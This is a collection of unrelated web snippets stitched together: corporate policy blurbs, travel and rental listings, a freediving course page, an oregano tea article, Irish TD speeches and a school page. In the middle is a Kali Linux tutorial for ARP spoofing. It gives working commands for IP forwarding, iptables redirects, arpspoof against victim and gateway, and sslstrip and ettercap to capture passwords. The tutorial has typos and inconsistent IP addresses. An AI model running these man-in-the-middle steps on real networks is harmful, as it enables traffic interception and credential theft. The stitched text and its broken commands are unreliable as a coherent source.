It's the expertise, commitment and actions of our 1,800 employees across Alberta that bring our strategy to life. Whether it's just a regular day or - as this video illustrates - responding to a crisis, we know that the sum of ENMAX is greater because of all our parts.
Customers are free to purchase natural gas services or electricity services from a retailer of their choice. For a list of retailers, visit ucahelps.alberta.ca or call 310-4822 (toll free in Alberta).


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The Company is committed to providing adequate resources to comply with applicable health, safety, and environmental laws and regulations. All employees will work together to minimize risks from releases, continually improve our performance, and protect and improve the quality of the environment and the health and safety of our employees, neighbors and customers.
Environmental Management Representative
Bill Burke
To increase our value to our customers by continually improving our products, processes, and service, with a commitment to meet or exceed the applicable requirements.
Quality Management Representative
Jeremy Bradley
The Company is committed to provide a safe, healthy and accident free workplace. Adequate resources will be provided to comply with applicable health and safety laws and regulations. All employees will work together to observe safety rules, follow safety training and instruction and wear needed personal protective equipment (PPE).
Health & Safety Manager
Bill Burke
Raybestos Powertrain participates in a plant shutdown the week of July 4th and the week between Christmas and New Years Day. During this time, our shipping department is closed.


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For the past three years, I've given myself a personal challenge to read at least 50 books per year for the Goodreads Reader's Challenge. Right now, I'm just four books from my goal for the year, and am close to finishing one.
I'm curious - what would all of you recommend as compelling and enjoyable to close out my year? You can see what I've read in the side bar, where my book montage is featured.
(Currently reading The First Fifteen Lives of Harry August.)
You're up - give me something compelling...


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Our Lucaya Beach & Golf Resort
Telephone: 1 242 350 5501
Imagine your dream vacation. The setting is Grand Bahama Island, a tropical paradise with glorious, palm-fringed beaches. The experience is ultimate luxury and first-class facilities. The place is Grand Lucayan. Welcome to the Grand life. Our stunning resort was created with one word in mind: relaxation. Grand Lucayan is furnished with exquisite taste and attention to detail combining art deco elegance and traditional Bahamian charm. Our rooms and suites enjoy wonderful views over the ocean, gardens or marina. Sunbathe on over seven acres of pristine, white sand. Swim in warm Caribbean waters or in one of four inviting pools. Enjoy everything from water sports, tennis courts, two championship golfcourses, jogging paths, basketball, volleyball and a fitness center. Or refresh mind and body at our rejuvenating health spa with saunas, steam rooms and a hydrotherapy tub. Complete your day with a mouth-watering variety of dining options, from classic American fare to succulent Asian barbecue and local Bahamian specialties. With so much to offer, it's no wonder we've named it Grand Lucayan. So why not join us and start living the Grand Life?
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When diving with a tank you'll find the bottom of the sea, when freediving or apnoea diving you'll find yourself. We re-discover ourselves as mammals and through this we encounter many advantages from this type of diving, finding experiences we never thought might be possible.
Never done it? Like to try? Now see how you can start! If, however, you're already a freediver and would like to continue your training or come diving with us, then find out what we've got for you.
Basic Freediving
That's your initiation to freediving. You'll learn and put into practice basic concepts allowing you to go a bit further than snorkelling. This course gives you the necessary knowledge to safely go Freediving with a dive buddy in a pool or enclosed waters with a maximum depth of 5 metres. After conclusion you'll receive your SSI Basic Freediving Certificate.Requisiti:
- 10 years of age
- signed Medical Declaration
1 o 2 giorni
Costo: 100€
Pool Freediving
You might not believe it, but is in the pool where you do most of the Freediving training. You'll learn all the concepts and different techniques of the Freediving level 1 accreditation, without the sea practice (Open Water). This course gives you the necessary knowledge to go freediving with a diving partner under pool conditions / protected waters up to a maximum depths of 5 metres. After your completion and approval you'll get the SSI Pool Freediving certificate.Requisiti:
- 10 years of age
- signed Medical Declaration
2 o 3 giorni
Costo: 180€
Freediving Level 1
This programme gives you the training and the necessary knowledge to dive safely with a dive buddy up to a depth of 20 metres. After your completion and approval you'll get the SSI Freediving Level 1 certificate.Requisiti:
- 12 years of age, able to swim
- signed Medical Declaration
3 o 4 giorni
Costo: 280€


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tuesday is a joke /
played on those not quite prepared /
the same game again
Tony, thank you for the video of the day. another anthem for these times.
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ARP spoofing attack – Kali Linux
ARP spoofing attack – Kali Linux
ARP (Address resolution protocol ). ARP is an ethernet layer 2 address, network hardware address (MAC).
The communication between nodes in the network established between source and destination through layer 2 address, i.e., MAC address , in the network the nodes share their MAC address through broadcast.
Every node in the network maintains an ARP cache table which consists of L2 and L3 addressing (IP address and associated MAC address).
To view ARP table, you can launch the command shell in a windows / terminal in Linux and run below command to the list ARP table.
Windows :c:\arp -a (list all address in ARP table)
Linux : #apr -a (list all address in ARP table)
route / firewall # show arp
ARP spoofing is a technique to manipulate the source and destination by doing ARP poisoning through ARP spoofing , the packet can be sniffed / captured & monitored.
Note: don't try this on any public, corporate or unauthorized networks . Performed only when you have authorization to do.
spoofing attack using Kali Linux
In our configuration guide we are going to show you packet sniffing & spoofing on Kali Linux.
Let's assume that you are having below nodes.
1. Attacke PC :-Kali linux (act as a man in the middel between victim PC and Gateway) 192.168.0.252
Attacker PC , In our guide we are using Kali Linux as an attacker machine in order to perform an ARP spoofing attack to victim PC and gateway .
2 Victim PC :- Windows , 192.168.1.23
The ARP spoofing attack will convince the victim machine to send all the packets to attacker machine.
3. Victim Gateway PC:- firewall / router , 192.168.0.253
The ARP spoofing attack on the gateway of victim PC , this will convince gateway to send back all the traffic to attacker PC.
ARP spoofing attack in Kali Linux , follow the below steps .
1. Enable IP forwarder
2. IPtables NAT
3. ARP spoofing Attack
4. Packet sniffing through sslstrip/driftnet/ettercap/urlsnarf
Step 1: enable IP forwarder
IP forwarder must be enabled , it's required to redirect traffic through attacker PC .
disable =0
enable =1
#echo "1" > /proc/sys/net/ipv4/ip_forward
View the value set for ip forwarding, this will return a value 1 if not repeat above step
#cat /proc/sys/net/ipv4/ip_forward
Output : 1
#sysctl -p
Step 2: IPtables NAT
Request coming on port 80 will be redirected to user define port number . with the iptable nat rule the victim PC will get internet through attacker PC.
#iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8880
#iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-port 8883
The request received for port number 80 will be redirected to user defined port 8880
Step 3: ARP spoofing attack
Start ARP spoof attack on the victim PC i.e, 192.168.123 and Gateway i.e, 192.168.0.253
Syntax : arpspoof -i interface -t target-ip target-gateway-ip
ARP spoof attacks on victim PC and associated gateway IP as shown below.
#arpspoof -i eth0 -t 192.168.1.23 192.168.0.253
ARP spoof attacks at Victim Gateway as shown below.
#arpspoof -i eth0 -t 192.168.0.253 192.168.1.23
Step 4:
Packet sniffing through sslstrip/drifnet/ettercap/urlsnarf
sslstrip : packet sniffing tool which captures all the sensitive information like username , password ,email account and database user details.
The default sslstrip python scripts are located in /usr/share/sslstrip/
The main executable script " , run below command to sniff the traffic of target PC "192.168.1.23 " and specify the port defined in iptable nat rule.
#python /usr/share/sslstrip/sslstrip.py -p -s -l 8880
wait for a while to record sniffing data in logs /usr/share/sslstrip/sslstrip.log or you can use user define file to dump captured data. For more help on using different options with command, use below command.
# sslstrip -h
Press Ctrl+D to stop the service and view the log file.
driftnet: GUI based tool which captures the screen shots of victim PC anything accessed from the browser .
Launch a tool by using below command. But make sure that you have GUI access or logged in GUI mode.
# driftnet
ettercap: Ettercap is the tool used for ARP spoof attack under Window or Linux operating system. It can be used as a command line or GUI.
#ettercap –i eth0 –T -w /root/output.txt –M arp /192.168.1.23 /
-i : define specific interface
-T : to launch command execution over the terminal
-M : Man in middle mode
-w : writes sniffed data to a file.
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Pisarovo is a village in Northern Bulgaria, 26 km away from the city of Pleven, 5 km away from the Iskar River, 9 km away from a dam, 40 km away from the Danube River and is located in a valley. The soil in the region is very generous. The village has a long history. It was pronounced for a village more than 450 years ago. About 1030 people live in Pisarovo. There is a post-office, a medicine centre, a town-hall, a school and a few shops, too. The village is large and well organized. The fishing and hunting tourism is also well-developed.
It is a solid two-storeyed house in Pisarovo with unfolded built-up area of 200 sq.m.
1st floor – 3 rooms and a room suitable for a bathroom to be made;
2nd floor – 4 rooms, a corridor and a terrace;
The yard is 2200 sq.m. It is terraced and with many fruit-trees and vineyard. There are also additional buildings – a two-storey building for living, a shed and farm buildings. The property is accessed through an asphalt-paved road.
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You're probably familiar with oregano, which is a culinary spice that adds flavor to many traditional Italian dishes. In cooking, the leaves of the Mediterranean oregano plant (Oreganum vulgare) are used either fresh or dried, and you can also brew them to make tea. In addition to their strong flavor, oregano leaves contain several medicinally active compounds. They are a traditional remedy in herbal medicine, and clinical studies on oregano's possible usefulness are lacking, but some evidence from laboratory research suggests that oregano tea may have significant health benefits.
Oregano Components
Oregano leaves contain more than 40 different compounds, according to a study published in the April 2011 issue of the "Journal of Food Science." Researchers found that many of these compounds belong to phytonutrient classes called polyphenols, flavonoids and anthocyanins, which are all recognized for their antioxidant qualities. Antioxidants help protect your cells from free radicals, which are unstable chemicals that form as byproducts of digestion, form in your skin when you're in sunlight and form in your organs when you're exposed to environmental toxins such as cigarette smoke. Over time, free radicals can damage cellular components such as membranes and DNA, raising your risk of chronic diseases that include cancer and heart disease.
Anti-Cancer Properties
A number of studies conducted in the laboratory suggest that compounds in oregano might be potentially therapeutic against cancer. For example, a study published in 2009 in "Nutrition and Cancer" found that cultured colon cancer cells slowed their growth and eventually died when exposed to an oregano extract, compared to control cells. Another study published in the June 2008 issue of the "Journal of Pharmacy and Pharmacology" found that oregano extract improved indicators of cancer in laboratory animals who had colon cancer, an effect the authors attributed to oregano's antioxidant properties. Although these findings from the laboratory are encouraging, they still need confirmation in clinical studies with human subjects.
Antiseptic Qualities
Oregano may also have significant antiseptic properties, and may help prevent or slow the growth of potentially harmful microorganisms. The study published in the "Journal of Food Science" found that compounds in oregano leaves have anti-malarial properties and slow the growth of microorganisms that cause malaria. Another paper published in the January-March 2010 issue of the "Brazilian Journal of Microbiology" found that an oregano extract stopped growth in the laboratory of several types of Candida fungi that cause vaginal yeast infections. Although these are encouraging, the fungi studied were obtained from laboratory animals and more work is still needed to determine if oregano compounds are equally effective against these and other pathogens from human subjects.
Making Tea
You can prepare oregano tea from either fresh or dried leaves, which are available at most grocery or health-food stores. Cutting or bruising the leaves before brewing may release more of the herb's compounds into the water. Steep 3 teaspoons of fresh leaves or 1 teaspoon of dried leaves in 1 cup of boiling water for 5 to 10 minutes. Oregano tea can be somewhat bitter, but adding sugar or sweetener can counteract this. The herb is generally considered safe and without any negative side effects, although no minimum effective dose has been identified. It might cause a rash or other reaction if you're allergic to the herb, and its safety during pregnancy or breast-feeding hasn't been established. Talk to your doctor about oregano to decide if it might be helpful for you.
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- Journal of Food Science: Oregano -- Chemical Analysis and Evaluation of its Antimalarial, Antioxidant, and Cytotoxic Activities
- Linus Pauling Institute: Flavonoids
- Nutrition and Cancer: Origanum Vulgare Induces Apoptosis in Human Colon Cancer Caco2 Cells
- Journal of Pharmacy and Pharmacology: Dose-Dependent Effect of Oregano (Origanum Vulgare L.) on Lipid Peroxidation and Antioxidant Status in 1,2-Dimethyhydrazine-Induced Rat Colon Carcinogenesis
- Brazilian Journal of Microbiology: In Vitro Activity of Origanm Vulgare Essential Oil Against Candida Species
- Drugs.com: Oregano


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There are two ways to set the Minimum and Maximum Length of Stay:
- Default Method
- Long Term Method
This article will show you how to use both methods.
Default Method
You can set the Default Minimum and Maximum Length of Stay in the General Settings page.
Using the Default method, your Minimum and Maximum stay settings will be applied to every night in the future, unless you override them within the Set Long Term method.
We recommend that you set the Default method to the most common Minimum and Maximum stay settings that your property operates from.
Set Long Term Method
If you want to override the Default Minimum / Maximum Length of Stay for certain dates, you can do that with the Set Long Term button on the Availability page.
Once on the Availability Page, follow Steps 1 through 11 to set the Minimum Stay that you desire.
In the example abelow, I have chosen to set a "Minimum Stay" of 2 Days for the following:
- Room: Tom's Suite
- Nights: Friday and Saturday Nights
- Dates: 2015-11-13 through 2016-01-03
- Minimum Stay: 2 Nights
You can of course choose to set a Minimum Stay on any combination of Rooms, Nights and Dates.
Bear in mind - if you have a special rate with booking.com, that special rate will override the Minimum Stay that you set on this page. More information on that subject can be found here: Why is the MinLOS/MaxLOS not being updated on the channel?


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As the eventual launch of the 2016 Honda Civic draws nearer, several spy photos of what appears to be the next-generation compact car were recently uploaded to the web.
If the images were to be believed, the tenth-generation Civic seemed to have retained the swept-up headlights though with the camouflage wrapping, it is hard to tell what other details did the automaker did for the front fascia.
Over to the side, it gets wider wheel arches and what looks to be a new rear quarter window though Honda also kept it under wraps.
The rear also gets a redesign as the 2016 Civic gets a new trunk, updated taillights and a more conservative rear bumper.
As far as powertrain is concerned, American Honda Motor Co. Executive Vice President John Mendel previously stated that the new-generation Civic will indeed be available with an Earth Dreams 1.5-liter inline-four VTEC turbocharged engine. It can be mated to either a 6-speed manual or a sporty yet efficient CVT.
The 2016 Honda Civic is slated to have its debut later this year.
Source: CivicX Forum


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It's Lawn Fawn Inspiration Week time again. Today we are focusing on Winter Scripty Sayings and the new scalloped rectangles.
For this card I used the scritpy sayings sentiment stamped in cranberry ink as my focal point then stamped pine branches in celery stick and freshly cut grass inks around the oval using stamps from Deck the Halls.
Using the MISTI tool I stamped the sentiment on the card base as well so that that line and loops of the stamp would line up with the oval on top. I also stamped the Argyle backdrops in freshly cut grass and more pine boughs in celery stick on the background. I finished it off with some pine cones and matching twine.
I'm so happy that there are scalloped rectangles to layer behind my favorite stitched rectangles. I hope that maybe Lawn Fawn has some scalloped ovals or squares in their plans for the future. I cut this scalloped rectangle from white card stock and then covered it with Rusty Hinge distress ink to create custom colored card stock in the color I wanted. I also layered wink of stella clear glitter over it for some shine.
I dressed up the raccoon from the Holiday Party Animal set so that he is all ready for Thanksgiving and gave him a tone on tone wishbone background to complete the ensemble. Be sure to check out the Lawn Fawn blog for more projects as well as giveaways!
P.S. I also have a fall card over on the Simon Says Stamp blog today, go check it out!
Saturday, October 17, 2015
Lawn Fawn October Inspiration Week: Winter Scripty Sayings
Posted by Chari Moss at 12:01 AM
Labels: inspiration week, lawn fawn, scripty sayings
6 comments:
- KimCreate said...[Reply to comment]
Chari your cards are fantastic. I came to comment on your Hanukkah card! The sponging is so beautiful.
- October 17, 2015 at 7:10 AM
- Texas JennyWren said...[Reply to comment]
Love this little character on your card. Great card, Chari.
- October 17, 2015 at 2:24 PM
- Verda said...[Reply to comment]
Love all of your darling cards.
- October 17, 2015 at 3:31 PM
- Bobbie Bluegill said...[Reply to comment]
Love your joyful wishes, especially the background.
- October 17, 2015 at 4:42 PM
- Teresa Doyle said...[Reply to comment]
These are really great cars Chari. I love the Scripty Sayings set.
- October 17, 2015 at 5:55 PM
- Kathy JH said...[Reply to comment]
Beautiful cards! I love the colors on the first one!
- October 17, 2015 at 8:28 PM
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Seamus Healy TD – Planning and Development (Housing) and Residential Tenancies Bill 2016: Report Stage
This rental strategy is the product of the new coalition Government of Fine Gael, Fianna Fáil and the Independent Alliance. It is a charade and pretence which is deeply flawed. It does nothing for families facing eviction or renters, in particular those currently paying extortionate rents. We should stop adding to the crisis. It is about time the Government and the Dáil accepted and declared we have a housing emergency. The Minister, Deputy Simon Coveney, has accepted we have an emergency. He has repeated this several times publicly but he refuses to formally declare a housing emergency in the Dáil. The Minister and the Government were quick to declare a financial emergency when they wanted to continue cutting pay and pensions in the public service when they renewed the FEMPI legislation on 30 June last.
Any Member or public representative will say there is an absolute emergency in housing. Up to 6,400 people are homeless, 2,400 of them children, forced to live in temporary accommodation, hotels, guest houses, bed and breakfasts and even tents. Up to 100,000 people are on local authority housing waiting lists, as well as 50,000 mortgages in arrears for more than two years. Every day, four families lose their homes. Up to 14,500 tenants are in buy-to-let properties where the mortgages for those properties are in arrears of more than two years. Those tenants, unfortunately, whether they know it or not, are facing eviction. Today, 117 families faced eviction courts. Twenty-seven of these were in my own town, Clonmel, 24 in Tralee and 63 in Dublin. These are decent, ordinary families who simply cannot make ends meet and now, through no fault of their own, face eviction.
Many of them are facing eviction by the banks we own, particularly Allied Irish Banks. The Minister could instruct these banks owned by the State to stop these evictions. The State is the owner of Allied Irish Banks and it can simply, by instruction from the Minister, stop its evictions. Only last month, Allied Irish Banks told an Oireachtas committee it had 2,879 repossession cases before the courts. Of this figure, 767 were granted. Only today, the Master of the High Court, Edmund Honohan, clearly shocked by the fact that half of the 98 cases before him were from Allied Irish Banks, asked if the Minister for Finance knew about these repossessions. He does know about them because I have told him about them here on numerous occasions. The Minister has the wherewithal to stop those evictions. It is an absolute shame and disgrace that he does not. He is acting in our name and in the name of the people when he allows Allied Irish Banks evict people from their homes.
The declaration of a housing emergency is necessary if we are to put the right to a family home above the rights of private property. It would allow us have a rent freeze, rent certainty, security of tenure and to stop evictions, both from mortgaged and buy-to-let properties. Landlords have had a bonanza over the past five years as rents have gone through the roof. Deputy Mick Barry gave us figures earlier, showing how many rents are extortionate. This rental strategy is a landlord's charter. Against the background of significant unaffordable rent increases for ordinary families over the past five years, this rental strategy, a point which Fianna Fáil should remember, will now increase rents again way above the consumer price index. It will mean families who are already struggling will find it almost impossible to make ends meet. If this strategy goes through, one can be absolutely certain that, in the next ten weeks, landlords, in areas where the strategy does not apply, will take the opportunity to increase their rents significantly. We saw this before when the former Minister, Deputy Alan Kelly, introduced his so-called "rent certainty" terms. Immediately, there were significant increases in rents. We will see the same again after this rental strategy is introduced.
Landlords in every town across the country and in my constituency in places like Clonmel, Thurles, Nenagh, Roscrea, Carrick and Tipperary town will avail of that window of opportunity. There will be huge increases in rent in every urban area as a result of the vacuum that will be created by the passing of these amendments and this strategy.
It is absolutely necessary to declare a housing emergency. In the absence of such a declaration, this pro-landlord rental strategy will face legal and constitutional challenges that are likely to succeed.
15 December 2016
At 2pm today we march in Clonmel not just against the water charges but we march for change.
We march for the Right to:
– Have a health service which is fit for purpose.
– Education, including the restoration and increased provision of SNA's, and an education which is truly free.
– Have gainful and decent employment which would provide dignity, respect and a living wage.
– Democratic Reform where citizens are at the heart of decision making.
– Housing, and to end homelessness and clearing of social housing waiting lists.
– Sustainable Energy, fighting climate change is not a 'cost' – it is a necessary strategy for human survival.
– Natural Resources. The assets of our nation were declared in the 1916 Proclamation as belonging to the citizens of Ireland, a Proclamation which
also pledged to cherish all the citizens of the state equally. The Transatlantic Trade and Investment Partnership (TTIP) is one of the biggest threats to people's ability to provide labour, social, and environmental protection and represents a proposed transfer of economic and political sovereignty from the Irish citizens to multi-national corporations.
– Equality, the right to equality encompasses social and economic rights which are implied and un-enumerated rights in our Constitution. These rights should be protected in legislation which will address the issues of poverty.
– Debt Justice, as past recklessness of financial speculation is imposing an intolerable burden on people's future.
Just us at the Main Guard, Clonmel at 2pm.
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Seamus Healy 's contribution to the Dáil debate on the forthcoming Referendum
Deputy Seamus Healy: I welcome the opportunity to speak on this legislation and I confirm my support for the Bill. I will be voting "Yes" in the forthcoming referendum on 22 May. The referendum arises from the Constitutional Convention vote of 79 to 19 in favour of same-sex marriage. This is a civil rights and equality issue and is about removing the barriers which deny some couples the chance of marrying and having relationships that are constitutionally protected. I believe that loving committed relationships between two consenting adults should be treated equally regardless of gender or sexual orientation. In a democratic republic based on equal citizens, such as Ireland, civil marriage should be open to all citizens, including lesbian and gay people.
As Deputy Pringle has just said, in the many countries where marriage equality has already been introduced, marriage has not been changed or damaged. There are no fewer marriages taking place than before, public perception of marriage has not been damaged and divorce rates have not increased. There is absolutely nothing to fear from allowing people to marry those whom they love and neither is there anything to fear from treating every committed, long-term relationship equally. A "Yes" vote in May will create a fairer society in which, regardless of one's sexuality, one is not any different. By voting "Yes" we will tell all gay and lesbian people in our community that we want them to be treated the same as everyone else. By voting "Yes" we will tell them that we see them as equal citizens.
Father Iggy O'Donovan in a recent article in The Irish Times raised some issues which should inform this debate and our decision on the issue. He argued that "In Ireland, we have inherited a tradition which has associated religion and politics in a way that has excluded some of our fellow citizens" but that "the State is a secular reality whose principal duty towards religion is to ensure its freedom". He went on to say, in the context of the referendum: "When we become legislators, though, as we do when we vote in referendums, we legislate for ALL our fellow citizens. We do not vote as members of this or that church or faith." He argued that we need to remember the difference between civil and religious law and also that it is possible to have "deep and passionately held convictions without seeking to have those convictions imposed by the State on fellow citizens who do not share them and may have opposite convictions which are equally deep and passionately held". He argues further that "Respect for freedom of others to hold religious or moral views which we ourselves find we cannot share is a sign of strength, not weakness".
I support the Bill and will be supporting the referendum.
Thanks again,
Seamus Healy TD


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Andover is a town in Essex County, Massachusetts, United States. It was settled in 1642 and later incorporated in 1646. As of the 2010 census, the population was 33,201. It is part of the Boston-Cambridge-Quincy, Massachusetts-New Hampshire metropolitan statistical area. Part of the town comprises the census-designated place of Andover. It is twinned with its namesake, Andover, Hampshire in England.
In 1642, the Massachusetts General Court set aside a portion of land in what is now Essex County for an inland plantation, including parts of what is now Andover, North Andover and South Lawrence. In order to encourage settlement, early colonists were offered three years' immunity from taxes, levies, and services (except military service). The first permanent settlement in the Andover area was established in 1642 by John Woodbridge and a group of settlers from Newbury and Ipswich.
Shortly after they arrived, they purchased a piece of land from the local Pennacook tribal chief Cutshamache for "six pounds of currency and a coat" and on the condition that Roger, a local Pennacook man, would be allowed to plant his corn and take alewives from a local water source. Roger's Brook, a small stream which cuts through the eastern part of town, is named in his honor. In May 1646 the settlement was incorporated as a town and was named Andover. This name was likely chosen in honor of the town of Andover in England, which was near the original home of some of the first residents. The first recorded town meeting was held in 1656 in the home of settler John Osgood in what is now the town of North Andover.


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August Wilson's Jitney and The John Jorgenson Quintet
Events January 23-January 24, 2020
Various Authors noon, Jan. 18
"I've been watching you, Jack," intones Morgan Freeman in his best Morpheus voice. "You're curious. What are you looking for in those books?"
So what exactly is that book that our hero finds himself reading? Why, it's Thomas Babbington Macauley's Lays of Ancient Rome, opened right to the most famous passage:
Then out spake brave Horatius,
the Captain of the Gate:
"To every man upon this earth
Death cometh soon or late.
And how can man die better
than facing fearful odds,
For the ashes of his fathers,
And the temples of his Gods
Good times. And he didn't even need a Kindle to read it!
The Lays of ancient Rome? Whoopee! I didn't know they wrote a book about that.


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One Out Of Six Americans Get Sick Every Year From Contaminated Food Industrial Steam Generators
Nobody wants to be in a dirty environment.
Not workers, not visitors and certainly not repeat customers. Businesses will expend a significant amount of their budget on keeping their buildings and offices as pristine as possible, generating a positive first impression and keeping common illnesses at bay. These efforts, however, may not be enough. Many viruses are notoriously stubborn and will latch onto surfaces with people none the wiser, which is nothing to say of pests, dander and pollen. When you want to make sure your money is being used to the fullest of its ability, you turn to a commercial carpet steam cleaner.
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4 Bedrooms/4 Bathrooms – SLEEPS 8. On the most exclusive street in Plett – this upmarket and spacious holiday villa offers luxurious accommodation, private pool, spacious garden offering lovely views of the sea and Robberg Peninsula.
The house is on three levels:
Ground Floor: Parking and entrance. Entrance into TV lounge which has doors leading on the pool and garden area. Patio table and chairs available as well as 4 sun-loungers. Bedroom 4 is on this level.
First Floor: Stairs lead up to the living area: open-plan lounge with TV, dining table (seating 10) and modern kitchen with separate scullery. (Views from both the lounge and dining areas).
There are two patios leading off from the lounge/dining areas. One is sea facing with a table seating 8.
The East facing patio is spacious and covered and has views. This has a built-in braai. There's ample patio furniture and a large wooden table seating 8. Bedroom 3 is on this level and leads onto the patio.
Guest toilet.
Top Floor: Bedrooms 1 and 2.
Main/bedroom 1: (top floor) King sized bed with full en-suite bathroom (Bath – with a view, Shower (his and hers) and separate toilet and bidet. Sliding doors with Louvre shutters lead to the patio with lovely sea views.
Bedroom 2: (top floor) King sized bed with en-suite bathroom (Bath, Shower and Toilet) views of the sea.
Bedroom 3: (first floor) King sized bed with en-suite bathroom (Bath, Shower and Toilet) Doors leads onto the patio.
Bedroom 4: (ground floor) King sized bed with en-suite bathroom (Bath, Shower and Toilet) Doors lead to the pool area.
Accommodation & facility check list:
- Linen, bath and beach/swimming towels are provided.
- X2 Flat-screen TVs – DSTV decoder including smart card available & included in rental.
- Kitchen equipped with Microwave, and one fridge/ freezer combo.
- 6 plate Gas Hob and Electric oven
- Scullery: Washing machine, Tumble drier and dishwasher.
- Mandatory retainer maid, included in the rental from 08.30 am until 4pm Monday to Fridays excluding public holidays. Should there be more than 6 occupants, another retainer maid is to be employed, not included in the rental. Her daily rate is R250 per day. Should you require the ladies to work on public holidays, Sundays and or Saturdays, special rates apply.
- Built-in Braai & Weber braai on patio.
- Secure, off road behind gate parking (carport) for one vehicle. The garage may be available. Uncovered, open off road parking in driveway for 2-3 vehicles.
- No pets allowed.
- Non-smoking home, please smoke outside
- Swimming pool has no fence but has a safety net.
- Please note: there are x2 doors that will be locked and these rooms are not available to tenants. The owner has private cupboards which will be locked, please do not attempt to open these.


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Before leaving C's house on Friday night she shouted to us "oh, your surprise"! I had no idea what she was talking about until she came walking into the living room with a large cardboard box and handed it to Paul and I.
She had made a label and written on it "Happy Random Box", which I found hilarious so I carefully peeled it off so we could keep it. Her little girl had also signed it and added a few scribbles...not quite sure if you can make out her signature in the picture.
Inside the box was a collection of sweet and thoughtful items which included a super soft and cosy fluffy throw, a DVD that she knew we hadn't seen, a hand cream (Paul's favourite), and of our favourite body shop candles. And my favourite part...a huge jar of Nutella and a Nutella stretcher! I had never seen one of these before but it is a knife like thing, shaped perfectly for getting all the Nutella from the hard to reach places in the jar, no more waste! Not that there is ever any wasted Nutella -lets be honest!
This wasn't for an occasion, it was just because they wanted to. It was such a lovely thoughtful gesture I thought it should be shared. We have the sweetest friends, I hope they know how much we love them. :)


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Why KHS?
So, why come to Kingsbury High?
Well, if you are coming up to Year 7 age, you will be coming to a school which gives its students the best start possible.
And if you are thinking of coming to our sixth form, ours is one of the best around, graded outstanding the last time Ofsted announced separate judgments for sixth forms.
We now offer students who join us in Year 7 a very exciting first couple of years. Rather than a long slow warm up to what used to be called "Key Stage 3", we now have a two year Foundation Stage to what we call "The Kingsbury Curriculum".
In each half-term, students experience just eight different subjects, helping to ease the transition from primary school. These are:
- English
- Mathematics
- Science
- Art / Computing
- A language
- Humanities
- Expressive Arts / Music / Technology
- Physical Education
Students will experience the full range of subjects by rotating through different arts and technology based subjects in each half term.
Students in years seven and eight receive extended homework projects to support their work at school and each half term they make an oral presentation to their class in one subject, to help improve their public speaking skills and confidence.
Students are also expected to complete a portfolio of their experiences which we call "The Kingsbury Guarantee".
All of this culminates in a graduation ceremony at the end of Year 8 when students and parents come together to celebrate the successes of the first two years.
We hope this firm foundation will enable our students to commit in Year 9 to the start of their GCSE courses and involvement in the broader aspects of school life prior to going on to examination success at the end of Year 11. The first two year groups to go through this new Kingsbury Curriculum received their GCSE results in 2016 and 2017 and what the government calls their "Progress 8" or "value-added" score put them well above the national average.
Alongside our academic work, we have an excellent programme of extra-curricular activities and at least once every half term we have an "Excel Day" when the usual timetable is replaced by an all day activity.
Most importantly, we place great emphasis on student support at the school. Each year group has a full time Year Leader from the support staff who is available to students all day. Stage Leaders for each curriculum stage, student support officers, a counselling service and a medical officer complete the student support team. There will always be someone to go to if a student is in any kind of difficulty.
More information can be found in our Prospectus.